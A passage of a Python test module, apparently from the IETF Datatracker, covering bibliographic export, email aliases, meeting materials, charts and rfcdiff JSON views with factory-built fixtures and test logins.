urlreverse('ietf.doc.views_doc.document_bibtex', kwargs=dict(name=draft.name)) r = self.client.get(url) entry = self._parse_bibtex_response(r)[bibname] self.assertEqual(entry['note'], 'Work in Progress') self.assertEqual(entry['number'], docname) self.assertEqual(entry['year'], str(draft.pub_date().year)) self.assertEqual(entry['month'], draft.pub_date().strftime('%b').lower()) self.assertEqual(entry['day'], str(draft.pub_date().day)) self.assertEqual(entry['url'], f'https://datatracker.ietf.org/doc/html/{docname}') # self.assertNotIn('doi', entry) def test_document_bibxml(self): draft = IndividualDraftFactory.create() docname = '%s-%s' % (draft.name, draft.rev) for viewname in [ 'ietf.doc.views_doc.document_bibxml', 'ietf.doc.views_doc.document_bibxml_ref' ]: url = urlreverse(viewname, kwargs=dict(name=draft.name)) r = self.client.get(url) entry = lxml.etree.fromstring(r.content) self.assertEqual(entry.find('./front/title').text, draft.title) date = entry.find('./front/date') self.assertEqual(date.get('year'), str(draft.pub_date().year)) self.assertEqual(date.get('month'), draft.pub_date().strftime('%B')) self.assertEqual(date.get('day'), str(draft.pub_date().day)) self.assertEqual(normalize_text(entry.find('./front/abstract/t').text), normalize_text(draft.abstract)) self.assertEqual(entry.find('./seriesInfo').get('value'), docname) self.assertEqual(entry.find('./seriesInfo[@name="DOI"]'), None) def test_trailing_hypen_digit_name_bibxml(self): draft = WgDraftFactory(name='draft-ietf-mars-test-2') docname = '%s-%s' % (draft.name, draft.rev) for viewname in [ 'ietf.doc.views_doc.document_bibxml', 'ietf.doc.views_doc.document_bibxml_ref' ]: # This will need to be adjusted if settings.URL_REGEXPS is changed url = urlreverse(viewname, kwargs=dict(name=draft.name[:-2], rev=draft.name[-1:]+'-'+draft.rev)) r = self.client.get(url) entry = lxml.etree.fromstring(r.content) self.assertEqual(entry.find('./front/title').text, draft.title) self.assertEqual(entry.find('./seriesInfo').get('value'), docname) class AddCommentTestCase(TestCase): def test_add_comment(self): draft = WgDraftFactory(name='draft-ietf-mars-test',group__acronym='mars') url = urlreverse('ietf.doc.views_doc.add_comment', kwargs=dict(name=draft.name)) login_testing_unauthorized(self, "secretary", url) # normal get r = self.client.get(url) self.assertEqual(r.status_code, 200) q = PyQuery(unicontent(r)) self.assertEqual(len(q('form textarea[name=comment]')), 1) # request resurrect events_before = draft.docevent_set.count() mailbox_before = len(outbox) r = self.client.post(url, dict(comment="This is a test.")) self.assertEqual(r.status_code, 302) self.assertEqual(draft.docevent_set.count(), events_before + 1) self.assertEqual("This is a test.", draft.latest_event().desc) self.assertEqual("added_comment", draft.latest_event().type) self.assertEqual(len(outbox), mailbox_before + 1) self.assertIn("Comment added", outbox[-1]['Subject']) self.assertIn(draft.name, outbox[-1]['Subject']) self.assertIn('draft-ietf-mars-test@', outbox[-1]['To']) # Make sure we can also do it as IANA self.client.login(username="iana", password="iana+password") # normal get r = self.client.get(url) self.assertEqual(r.status_code, 200) q = PyQuery(unicontent(r)) self.assertEqual(len(q('form textarea[name=comment]')), 1) class TemplateTagTest(TestCase): def test_template_tags(self): import doctest from ietf.doc.templatetags import ietf_filters failures, tests = doctest.testmod(ietf_filters) self.assertEqual(failures, 0) class ReferencesTest(TestCase): def test_references(self): doc1 = WgDraftFactory(name='draft-ietf-mars-test') doc2 = IndividualDraftFactory(name='draft-imaginary-independent-submission').docalias.first() RelatedDocument.objects.get_or_create(source=doc1,target=doc2,relationship=DocRelationshipName.objects.get(slug='refnorm')) url = urlreverse('ietf.doc.views_doc.document_references', kwargs=dict(name=doc1.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, doc2.name) url = urlreverse('ietf.doc.views_doc.document_referenced_by', kwargs=dict(name=doc2.name)) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, doc1.name) class GenerateDraftAliasesTests(TestCase): def setUp(self): super().setUp() self.doc_aliases_file = NamedTemporaryFile(delete=False, mode='w+') self.doc_aliases_file.close() self.doc_virtual_file = NamedTemporaryFile(delete=False, mode='w+') self.doc_virtual_file.close() self.saved_draft_aliases_path = settings.DRAFT_ALIASES_PATH self.saved_draft_virtual_path = settings.DRAFT_VIRTUAL_PATH settings.DRAFT_ALIASES_PATH = self.doc_aliases_file.name settings.DRAFT_VIRTUAL_PATH = self.doc_virtual_file.name def tearDown(self): settings.DRAFT_ALIASES_PATH = self.saved_draft_aliases_path settings.DRAFT_VIRTUAL_PATH = self.saved_draft_virtual_path os.unlink(self.doc_aliases_file.name) os.unlink(self.doc_virtual_file.name) super().tearDown() def testManagementCommand(self): a_month_ago = datetime.datetime.now() - datetime.timedelta(30) ad = RoleFactory(name_id='ad', group__type_id='area', group__state_id='active').person shepherd = PersonFactory() author1 = PersonFactory() author2 = PersonFactory() author3 = PersonFactory() author4 = PersonFactory() author5 = PersonFactory() author6 = PersonFactory() mars = GroupFactory(type_id='wg', acronym='mars') marschairman = PersonFactory(user__username='marschairman') mars.role_set.create(name_id='chair', person=marschairman, email=marschairman.email()) doc1 = IndividualDraftFactory(authors=[author1], shepherd=shepherd.email(), ad=ad) doc2 = WgDraftFactory(name='draft-ietf-mars-test', group__acronym='mars', authors=[author2], ad=ad) doc3 = WgRfcFactory.create(name='draft-ietf-mars-finished', group__acronym='mars', authors=[author3], ad=ad, std_level_id='ps', states=[('draft','rfc'),('draft-iesg','pub')], time=a_month_ago) DocEventFactory.create(doc=doc3, type='published_rfc', time=a_month_ago.strftime("%Y-%m-%d")) doc4 = WgRfcFactory.create(authors=[author4,author5], ad=ad, std_level_id='ps', states=[('draft','rfc'),('draft-iesg','pub')], time=datetime.datetime(2010,10,10)) DocEventFactory.create(doc=doc4, type='published_rfc', time = '2010-10-10') doc5 = IndividualDraftFactory(authors=[author6]) args = [ ] kwargs = { } out = io.StringIO() call_command("generate_draft_aliases", *args, **kwargs, stdout=out, stderr=out) self.assertFalse(out.getvalue()) with open(settings.DRAFT_ALIASES_PATH) as afile: acontent = afile.read() self.assertTrue(all([x in acontent for x in [ 'xfilter-' + doc1.name, 'xfilter-' + doc1.name + '.ad', 'xfilter-' + doc1.name + '.authors', 'xfilter-' + doc1.name + '.shepherd', 'xfilter-' + doc1.name + '.all', 'xfilter-' + doc2.name, 'xfilter-' + doc2.name + '.ad', 'xfilter-' + doc2.name + '.authors', 'xfilter-' + doc2.name + '.chairs', 'xfilter-' + doc2.name + '.all', 'xfilter-' + doc3.name, 'xfilter-' + doc3.name + '.ad', 'xfilter-' + doc3.name + '.authors', 'xfilter-' + doc3.name + '.chairs', 'xfilter-' + doc5.name, 'xfilter-' + doc5.name + '.authors', 'xfilter-' + doc5.name + '.all', ]])) self.assertFalse(all([x in acontent for x in [ 'xfilter-' + doc1.name + '.chairs', 'xfilter-' + doc2.name + '.shepherd', 'xfilter-' + doc3.name + '.shepherd', 'xfilter-' + doc4.name, 'xfilter-' + doc5.name + '.shepherd', 'xfilter-' + doc5.name + '.ad', ]])) with open(settings.DRAFT_VIRTUAL_PATH) as vfile: vcontent = vfile.read() self.assertTrue(all([x in vcontent for x in [ ad.email_address(), shepherd.email_address(), marschairman.email_address(), author1.email_address(), author2.email_address(), author3.email_address(), author6.email_address(), ]])) self.assertFalse(all([x in vcontent for x in [ author4.email_address(), author5.email_address(), ]])) self.assertTrue(all([x in vcontent for x in [ 'xfilter-' + doc1.name, 'xfilter-' + doc1.name + '.ad', 'xfilter-' + doc1.name + '.authors', 'xfilter-' + doc1.name + '.shepherd', 'xfilter-' + doc1.name + '.all', 'xfilter-' + doc2.name, 'xfilter-' + doc2.name + '.ad', 'xfilter-' + doc2.name + '.authors', 'xfilter-' + doc2.name + '.chairs', 'xfilter-' + doc2.name + '.all', 'xfilter-' + doc3.name, 'xfilter-' + doc3.name + '.ad', 'xfilter-' + doc3.name + '.authors', 'xfilter-' + doc3.name + '.chairs', 'xfilter-' + doc5.name, 'xfilter-' + doc5.name + '.authors', 'xfilter-' + doc5.name + '.all', ]])) self.assertFalse(all([x in vcontent for x in [ 'xfilter-' + doc1.name + '.chairs', 'xfilter-' + doc2.name + '.shepherd', 'xfilter-' + doc3.name + '.shepherd', 'xfilter-' + doc4.name, 'xfilter-' + doc5.name + '.shepherd', 'xfilter-' + doc5.name + '.ad', ]])) class EmailAliasesTests(TestCase): def setUp(self): super().setUp() WgDraftFactory(name='draft-ietf-mars-test',group__acronym='mars') WgDraftFactory(name='draft-ietf-ames-test',group__acronym='ames') RoleFactory(group__type_id='review', group__acronym='yangdoctors', name_id='secr') self.doc_alias_file = NamedTemporaryFile(delete=False, mode='w+') self.doc_alias_file.write("""# Generated by hand at 2015-02-12_16:26:45 virtual.ietf.org anything draft-ietf-mars-test@ietf.org xfilter-draft-ietf-mars-test expand-draft-ietf-mars-test@virtual.ietf.org mars-author@example.com, mars-collaborator@example.com draft-ietf-mars-test.authors@ietf.org xfilter-draft-ietf-mars-test.authors expand-draft-ietf-mars-test.authors@virtual.ietf.org mars-author@example.mars, mars-collaborator@example.mars draft-ietf-mars-test.chairs@ietf.org xfilter-draft-ietf-mars-test.chairs expand-draft-ietf-mars-test.chairs@virtual.ietf.org mars-chair@example.mars draft-ietf-mars-test.all@ietf.org xfilter-draft-ietf-mars-test.all expand-draft-ietf-mars-test.all@virtual.ietf.org mars-author@example.mars, mars-collaborator@example.mars, mars-chair@example.mars draft-ietf-ames-test@ietf.org xfilter-draft-ietf-ames-test expand-draft-ietf-ames-test@virtual.ietf.org ames-author@example.com, ames-collaborator@example.com draft-ietf-ames-test.authors@ietf.org xfilter-draft-ietf-ames-test.authors expand-draft-ietf-ames-test.authors@virtual.ietf.org ames-author@example.ames, ames-collaborator@example.ames draft-ietf-ames-test.chairs@ietf.org xfilter-draft-ietf-ames-test.chairs expand-draft-ietf-ames-test.chairs@virtual.ietf.org ames-chair@example.ames draft-ietf-ames-test.all@ietf.org xfilter-draft-ietf-ames-test.all expand-draft-ietf-ames-test.all@virtual.ietf.org ames-author@example.ames, ames-collaborator@example.ames, ames-chair@example.ames """) self.doc_alias_file.close() self.saved_draft_virtual_path = settings.DRAFT_VIRTUAL_PATH settings.DRAFT_VIRTUAL_PATH = self.doc_alias_file.name def tearDown(self): settings.DRAFT_VIRTUAL_PATH = self.saved_draft_virtual_path os.unlink(self.doc_alias_file.name) super().tearDown() def testAliases(self): PersonFactory(user__username='plain') url = urlreverse('ietf.doc.urls.redirect.document_email', kwargs=dict(name="draft-ietf-mars-test")) r = self.client.get(url) self.assertEqual(r.status_code, 302) url = urlreverse('ietf.doc.views_doc.email_aliases', kwargs=dict()) login_testing_unauthorized(self, "plain", url) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertTrue(all([x in unicontent(r) for x in ['mars-test@','mars-test.authors@','mars-test.chairs@']])) self.assertTrue(all([x in unicontent(r) for x in ['ames-test@','ames-test.authors@','ames-test.chairs@']])) def testExpansions(self): url = urlreverse('ietf.doc.views_doc.document_email', kwargs=dict(name="draft-ietf-mars-test")) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r, 'draft-ietf-mars-test.all@ietf.org') self.assertContains(r, 'iesg_ballot_saved') class DocumentMeetingTests(TestCase): def setUp(self): super().setUp() self.group = GroupFactory(type_id='wg',state_id='active') self.group_chair = PersonFactory() self.group.role_set.create(name_id='chair',person=self.group_chair,email=self.group_chair.email()) self.other_group = GroupFactory(type_id='wg',state_id='active') self.other_chair = PersonFactory() self.other_group.role_set.create(name_id='chair',person=self.other_chair,email=self.other_chair.email()) today = datetime.date.today() cut_days = settings.MEETING_MATERIALS_DEFAULT_SUBMISSION_CORRECTION_DAYS self.past_cutoff = SessionFactory.create(meeting__type_id='ietf',group=self.group,meeting__date=today-datetime.timedelta(days=1+cut_days)) self.past = SessionFactory.create(meeting__type_id='ietf',group=self.group,meeting__date=today-datetime.timedelta(days=cut_days/2)) self.inprog = SessionFactory.create(meeting__type_id='ietf',group=self.group,meeting__date=today-datetime.timedelta(days=1)) self.future = SessionFactory.create(meeting__type_id='ietf',group=self.group,meeting__date=today+datetime.timedelta(days=90)) self.interim = SessionFactory.create(meeting__type_id='interim',group=self.group,meeting__date=today+datetime.timedelta(days=45)) def test_view_document_meetings(self): doc = IndividualDraftFactory.create() doc.sessionpresentation_set.create(session=self.inprog,rev=None) doc.sessionpresentation_set.create(session=self.interim,rev=None) url = urlreverse('ietf.doc.views_doc.all_presentations', kwargs=dict(name=doc.name)) response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertTrue(all([q(id) for id in ['#inprogressmeets','#futuremeets']])) self.assertFalse(any([q(id) for id in ['#pastmeets',]])) self.assertFalse(q('#addsessionsbutton')) self.assertFalse(q("a.btn:contains('Remove document')")) doc.sessionpresentation_set.create(session=self.past_cutoff,rev=None) doc.sessionpresentation_set.create(session=self.past,rev=None) self.client.login(username="secretary", password="secretary+password") response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertTrue(q('#addsessionsbutton')) self.assertEqual(1,len(q("#inprogressmeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#futuremeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#pastmeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#pastmeets a.btn-warning:contains('Remove document')"))) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertTrue(q('#addsessionsbutton')) self.assertEqual(1,len(q("#inprogressmeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#futuremeets a.btn-primary:contains('Remove document')"))) self.assertEqual(1,len(q("#pastmeets a.btn-primary:contains('Remove document')"))) self.assertTrue(q('#pastmeets')) self.assertFalse(q("#pastmeets a.btn-warning:contains('Remove document')")) self.client.login(username=self.other_chair.user.username,password='%s+password'%self.other_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertTrue(q('#addsessionsbutton')) self.assertTrue(all([q(id) for id in ['#futuremeets','#pastmeets','#inprogressmeets']])) self.assertFalse(q("#inprogressmeets a.btn:contains('Remove document')")) self.assertFalse(q("#futuremeets a.btn:contains('Remove document')")) self.assertFalse(q("#pastmeets a.btn:contains('Remove document')")) def test_edit_document_session(self): doc = IndividualDraftFactory.create() sp = doc.sessionpresentation_set.create(session=self.future,rev=None) url = urlreverse('ietf.doc.views_doc.edit_sessionpresentation',kwargs=dict(name='no-such-doc',session_id=sp.session_id)) response = self.client.get(url) self.assertEqual(response.status_code, 404) url = urlreverse('ietf.doc.views_doc.edit_sessionpresentation',kwargs=dict(name=doc.name,session_id=0)) response = self.client.get(url) self.assertEqual(response.status_code, 404) url = urlreverse('ietf.doc.views_doc.edit_sessionpresentation',kwargs=dict(name=doc.name,session_id=sp.session_id)) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username=self.other_chair.user.username,password='%s+password'%self.other_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 200) q = PyQuery(response.content) self.assertEqual(2,len(q('select#id_version option'))) self.assertEqual(1,doc.docevent_set.count()) response = self.client.post(url,{'version':'00','save':''}) self.assertEqual(response.status_code, 302) self.assertEqual(doc.sessionpresentation_set.get(pk=sp.pk).rev,'00') self.assertEqual(2,doc.docevent_set.count()) def test_edit_document_session_after_proceedings_closed(self): doc = IndividualDraftFactory.create() sp = doc.sessionpresentation_set.create(session=self.past_cutoff,rev=None) url = urlreverse('ietf.doc.views_doc.edit_sessionpresentation',kwargs=dict(name=doc.name,session_id=sp.session_id)) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username='secretary',password='secretary+password') response = self.client.get(url) self.assertEqual(response.status_code, 200) q=PyQuery(response.content) self.assertEqual(1,len(q(".alert-warning:contains('may affect published proceedings')"))) def test_remove_document_session(self): doc = IndividualDraftFactory.create() sp = doc.sessionpresentation_set.create(session=self.future,rev=None) url = urlreverse('ietf.doc.views_doc.remove_sessionpresentation',kwargs=dict(name='no-such-doc',session_id=sp.session_id)) response = self.client.get(url) self.assertEqual(response.status_code, 404) url = urlreverse('ietf.doc.views_doc.remove_sessionpresentation',kwargs=dict(name=doc.name,session_id=0)) response = self.client.get(url) self.assertEqual(response.status_code, 404) url = urlreverse('ietf.doc.views_doc.remove_sessionpresentation',kwargs=dict(name=doc.name,session_id=sp.session_id)) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username=self.other_chair.user.username,password='%s+password'%self.other_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 200) self.assertEqual(1,doc.docevent_set.count()) response = self.client.post(url,{'remove_session':''}) self.assertEqual(response.status_code, 302) self.assertFalse(doc.sessionpresentation_set.filter(pk=sp.pk).exists()) self.assertEqual(2,doc.docevent_set.count()) def test_remove_document_session_after_proceedings_closed(self): doc = IndividualDraftFactory.create() sp = doc.sessionpresentation_set.create(session=self.past_cutoff,rev=None) url = urlreverse('ietf.doc.views_doc.remove_sessionpresentation',kwargs=dict(name=doc.name,session_id=sp.session_id)) self.client.login(username=self.group_chair.user.username,password='%s+password'%self.group_chair.user.username) response = self.client.get(url) self.assertEqual(response.status_code, 404) self.client.login(username='secretary',password='secretary+password') response = self.client.get(url) self.assertEqual(response.status_code, 200) q=PyQuery(response.content) self.assertEqual(1,len(q(".alert-warning:contains('may affect published proceedings')"))) def test_add_document_session(self): doc = IndividualDraftFactory.create() url = urlreverse('ietf.doc.views_doc.add_sessionpresentation',kwargs=dict(name=doc.name)) login_testing_unauthorized(self,self.group_chair.user.username,url) response = self.client.get(url) self.assertEqual(response.status_code,200) response = self.client.post(url,{'session':0,'version':'current'}) self.assertEqual(response.status_code,200) q=PyQuery(response.content) self.assertTrue(q('.form-select.is-invalid')) response = self.client.post(url,{'session':self.future.pk,'version':'bogus version'}) self.assertEqual(response.status_code,200) q=PyQuery(response.content) self.assertTrue(q('.form-select.is-invalid')) self.assertEqual(1,doc.docevent_set.count()) response = self.client.post(url,{'session':self.future.pk,'version':'current'}) self.assertEqual(response.status_code,302) self.assertEqual(2,doc.docevent_set.count()) def test_get_related_meeting(self): """Should be able to retrieve related meeting""" meeting = MeetingFactory(type_id='ietf') session = SessionFactory(meeting=meeting) procmat = ProceedingsMaterialFactory(meeting=meeting) for doctype in DocTypeName.objects.filter(used=True): doc = DocumentFactory(type=doctype) self.assertIsNone(doc.get_related_meeting(), 'Doc does not yet have a connection to the meeting') # test through a session doc.session_set.add(session) doc = Document.objects.get(pk=doc.pk) if doc.meeting_related(): self.assertEqual(doc.get_related_meeting(), meeting, f'{doc.type.slug} should be related to meeting') else: self.assertIsNone(doc.get_related_meeting(), f'{doc.type.slug} should not be related to meeting') # test with both session and procmat doc.proceedingsmaterial_set.add(procmat) doc = Document.objects.get(pk=doc.pk) if doc.meeting_related(): self.assertEqual(doc.get_related_meeting(), meeting, f'{doc.type.slug} should be related to meeting') else: self.assertIsNone(doc.get_related_meeting(), f'{doc.type.slug} should not be related to meeting') # and test with only procmat doc.session_set.remove(session) doc = Document.objects.get(pk=doc.pk) if doc.meeting_related(): self.assertEqual(doc.get_related_meeting(), meeting, f'{doc.type.slug} should be related to meeting') else: self.assertIsNone(doc.get_related_meeting(), f'{doc.type.slug} should not be related to meeting') class ChartTests(ResourceTestCaseMixin, TestCase): def test_search_chart_conf(self): doc = IndividualDraftFactory() conf_url = urlreverse('ietf.doc.views_stats.chart_conf_newrevisiondocevent') # No qurey arguments; expect an empty json object r = self.client.get(conf_url) self.assertValidJSONResponse(r) self.assertEqual(unicontent(r), '{}') # No match r = self.client.get(conf_url + '?activedrafts=on&name=thisisnotadocumentname') self.assertValidJSONResponse(r) d = r.json() self.assertEqual(d['chart']['type'], settings.CHART_TYPE_COLUMN_OPTIONS['chart']['type']) r = self.client.get(conf_url + '?activedrafts=on&name=%s'%doc.name[6:12]) self.assertValidJSONResponse(r) d = r.json() self.assertEqual(d['chart']['type'], settings.CHART_TYPE_COLUMN_OPTIONS['chart']['type']) self.assertEqual(len(d['series'][0]['data']), 0) def test_search_chart_data(self): doc = IndividualDraftFactory() data_url = urlreverse('ietf.doc.views_stats.chart_data_newrevisiondocevent') # No qurey arguments; expect an empty json list r = self.client.get(data_url) self.assertValidJSONResponse(r) self.assertEqual(unicontent(r), '[]') # No match r = self.client.get(data_url + '?activedrafts=on&name=thisisnotadocumentname') self.assertValidJSONResponse(r) d = r.json() self.assertEqual(unicontent(r), '[]') r = self.client.get(data_url + '?activedrafts=on&name=%s'%doc.name[6:12]) self.assertValidJSONResponse(r) d = r.json() self.assertEqual(len(d), 1) self.assertEqual(len(d[0]), 2) def test_search_chart(self): doc = IndividualDraftFactory() chart_url = urlreverse('ietf.doc.views_stats.chart_newrevisiondocevent') r = self.client.get(chart_url) self.assertEqual(r.status_code, 200) r = self.client.get(chart_url + '?activedrafts=on&name=%s'%doc.name[6:12]) self.assertEqual(r.status_code, 200) def test_personal_chart(self): person = PersonFactory.create() IndividualDraftFactory.create( authors=[person, ], ) conf_url = urlreverse('ietf.doc.views_stats.chart_conf_person_drafts', kwargs=dict(id=person.id)) r = self.client.get(conf_url) self.assertValidJSONResponse(r) d = r.json() self.assertEqual(d['chart']['type'], settings.CHART_TYPE_COLUMN_OPTIONS['chart']['type']) self.assertEqual("New draft revisions over time for %s" % person.name, d['title']['text']) data_url = urlreverse('ietf.doc.views_stats.chart_data_person_drafts', kwargs=dict(id=person.id)) r = self.client.get(data_url) self.assertValidJSONResponse(r) d = r.json() self.assertEqual(len(d), 1) self.assertEqual(len(d[0]), 2) page_url = urlreverse('ietf.person.views.profile', kwargs=dict(email_or_name=person.name)) r = self.client.get(page_url) self.assertEqual(r.status_code, 200) class FieldTests(TestCase): def test_searchabledocumentsfield_pre(self): # so far, just tests that the format expected by select2 set up docs = IndividualDraftFactory.create_batch(3) class _TestForm(Form): test_field = SearchableDocumentsField() form = _TestForm(initial=dict(test_field=docs)) html = str(form) q = PyQuery(html) json_data = q('.select2-field').attr('data-pre') try: decoded = json.loads(json_data) except json.JSONDecodeError as e: self.fail('data-pre contained invalid JSON data: %s' % str(e)) decoded_ids = list(decoded.keys()) self.assertCountEqual(decoded_ids, [str(doc.id) for doc in docs]) for doc in docs: self.assertEqual( dict(id=doc.pk, selected=True, url=doc.get_absolute_url(), text=escape(uppercase_std_abbreviated_name(doc.name))), decoded[str(doc.pk)], ) class MaterialsTests(TestCase): settings_temp_path_overrides = TestCase.settings_temp_path_overrides + ['AGENDA_PATH'] def setUp(self): super().setUp() meeting_number='111' meeting_dir = Path(settings.AGENDA_PATH) / meeting_number meeting_dir.mkdir() agenda_dir = meeting_dir / 'agenda' agenda_dir.mkdir() group_acronym='bogons' # This is too much work - the factory should # * build the DocumentHistory correctly # * maybe do something by default with uploaded_filename # and there should be a more usable unit to save bits to disk (handle_file_upload isn't quite right) that tests can leverage uploaded_filename_00 = f'agenda-{meeting_number}-{group_acronym}-00.txt' uploaded_filename_01 = f'agenda-{meeting_number}-{group_acronym}-01.md' f = io.open(os.path.join(agenda_dir, uploaded_filename_00), 'w') f.write('This is some unremarkable text') f.close() f = io.open(os.path.join(agenda_dir, uploaded_filename_01), 'w') f.write('This links to [an unusual place](https://unusual.example).') f.close() self.doc = DocumentFactory(type_id='agenda',rev='00',group__acronym=group_acronym, newrevisiondocevent=None, name=f'agenda-{meeting_number}-{group_acronym}', uploaded_filename=uploaded_filename_00) e = NewRevisionDocEventFactory(doc=self.doc,rev='00') self.doc.save_with_history([e]) self.doc.rev = '01' self.doc.uploaded_filename = uploaded_filename_01 e = NewRevisionDocEventFactory(doc=self.doc, rev='01') self.doc.save_with_history([e]) # This is necessary for the view to be able to find the document # which hints that the view has an issue : if a materials document is taken out of all SessionPresentations, it is no longer accessable by this view SessionPresentationFactory(session__meeting__number=meeting_number, session__group=self.doc.group, document=self.doc) def test_markdown_and_text(self): url = urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=self.doc.name,rev='00')) r = self.client.get(url) self.assertEqual(r.status_code,200) q = PyQuery(r.content) self.assertTrue(q('#materials-content pre')) url = urlreverse("ietf.doc.views_doc.document_main", kwargs=dict(name=self.doc.name,rev='01')) r = self.client.get(url) self.assertEqual(r.status_code,200) q = PyQuery(r.content) self.assertEqual(q('#materials-content .card-body a').attr['href'],'https://unusual.example') class Idnits2SupportTests(TestCase): settings_temp_path_overrides = TestCase.settings_temp_path_overrides + ['DERIVED_DIR'] def test_obsoleted(self): rfc = WgRfcFactory(alias2__name='rfc1001') WgRfcFactory(alias2__name='rfc1003',relations=[('obs',rfc)]) rfc = WgRfcFactory(alias2__name='rfc1005') WgRfcFactory(alias2__name='rfc1007',relations=[('obs',rfc)]) url = urlreverse('ietf.doc.views_doc.idnits2_rfcs_obsoleted') r = self.client.get(url) self.assertEqual(r.status_code, 404) call_command('generate_idnits2_rfcs_obsoleted') url = urlreverse('ietf.doc.views_doc.idnits2_rfcs_obsoleted') r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertEqual(r.content, b'1001 1003\n1005 1007\n') def test_rfc_status(self): for slug in ('bcp', 'ds', 'exp', 'hist', 'inf', 'std', 'ps', 'unkn'): WgRfcFactory(std_level_id=slug) url = urlreverse('ietf.doc.views_doc.idnits2_rfc_status') r = self.client.get(url) self.assertEqual(r.status_code,404) call_command('generate_idnits2_rfc_status') r = self.client.get(url) self.assertEqual(r.status_code,200) blob = unicontent(r).replace('\n','') self.assertEqual(blob[6312-1],'O') def test_idnits2_state(self): rfc = WgRfcFactory() url = urlreverse('ietf.doc.views_doc.idnits2_state', kwargs=dict(name=rfc.canonical_name())) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r,'rfcnum') draft = WgDraftFactory() url = urlreverse('ietf.doc.views_doc.idnits2_state', kwargs=dict(name=draft.canonical_name())) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertNotContains(r,'rfcnum') self.assertContains(r,'Unknown') draft = WgDraftFactory(intended_std_level_id='ps') url = urlreverse('ietf.doc.views_doc.idnits2_state', kwargs=dict(name=draft.canonical_name())) r = self.client.get(url) self.assertEqual(r.status_code, 200) self.assertContains(r,'Proposed') class RfcdiffSupportTests(TestCase): def setUp(self): super().setUp() self.target_view = 'ietf.doc.views_doc.rfcdiff_latest_json' self._last_rfc_num = 8000 def getJson(self, view_args): url = urlreverse(self.target_view, kwargs=view_args) r = self.client.get(url) self.assertEqual(r.status_code, 200) return r.json() def next_rfc_number(self): self._last_rfc_num += 1 return self._last_rfc_num def do_draft_test(self, name): draft = IndividualDraftFactory(name=name, rev='00', create_revisions=range(0,13)) draft = reload_db_objects(draft) received = self.getJson(dict(name=draft.name)) self.assertEqual( received, dict( name=draft.name, rev=draft.rev, content_url=draft.get_href(), previous=f'{draft.name}-{(int(draft.rev)-1):02d}' ), 'Incorrect JSON when draft revision not specified', ) received = self.getJson(dict(name=draft.name, rev=draft.rev)) self.assertEqual( received, dict( name=draft.name, rev=draft.rev, content_url=draft.get_href(), previous=f'{draft.name}-{(int(draft.rev)-1):02d}' ), 'Incorrect JSON when latest revision specified', ) received = self.getJson(dict(name=draft.name, rev='10')) self.assertEqual( received, dict( name=draft.name, rev='10', content_url=draft.history_set.get(rev='10').get_href(), previous=f'{draft.name}-09' ), 'Incorrect JSON when historical revision specified', ) received = self.getJson(dict(name=draft.name, rev='00')) self.assertNotIn('previous', received, 'Rev 00 has no previous name when not replacing a draft') replaced = IndividualDraftFactory() RelatedDocument.objects.create(relationship_id='replaces',source=draft,target=replaced.docalias.first()) received = self.getJson(dict(name=draft.name, rev='00')) self.assertEqual(received['previous'], f'{replaced.name}-{replaced.rev}', 'Rev 00 has a previous name when replacing a draft') def test_draft(self): # test with typical, straightforward names self.do_draft_test(name='draft-somebody-did-a-thing') # try with different potentially problematic names self.do_draft_test(name='draft-someone-did-something-01-02') self.do_draft_test(name='draft-someone-did-something-else-02') self.do_draft_test(name='draft-someone-did-something-02-weird-01') def do_draft_with_broken_history_test(self, name): draft = IndividualDraftFactory(name=name, rev='10') received = self.getJson(dict(name=draft.name,rev='09')) self.assertEqual(received['rev'],'09') self.assertEqual(received['previous'], f'{draft.name}-08') self.assertTrue('warning' in received) def test_draft_with_broken_history(self): # test with typical, straightforward names self.do_draft_with_broken_history_test(name='draft-somebody-did-something') # try with different potentially problematic names self.do_draft_with_broken_history_test(name='draft-someone-did-something-01-02') self.do_draft_with_broken_history_test(name='draft-someone-did-something-else-02') self.do_draft_with_broken_history_test(name='draft-someone-did-something-02-weird-03') def do_rfc_test(self, draft_name): draft = WgDraftFactory(name=draft_name, create_revisions=range(0,2)) draft.docalias.create(name=f'rfc{self.next_rfc_number():04}') draft.set_state(State.objects.get(type_id='draft',slug='rfc')) draft.set_state(State.objects.get(type_id='draft-iesg', slug='pub')) draft = reload_db_objects(draft) rfc = draft number = rfc.rfc_number() received = self.getJson(dict(name=number)) self.assertEqual( received, dict( content_url=rfc.get_href(), name=rfc.canonical_name(), previous=f'{draft.name}-{draft.rev}', ), 'Can look up an RFC by number', ) num_received = received received = self.getJson(dict(name=rfc.canonical_name())) self.assertEqual(num_received, received, 'RFC by canonical name gives same result as by number') received = self.getJson(dict(name=f'RfC {number}')) self.assertEqual(num_received, received, 'RFC with unusual spacing/caps gives same result as by number') received = self.getJson(dict(name=draft.name)) self.assertEqual(num_received, received, 'RFC by draft name and no rev gives same result as by number') received = 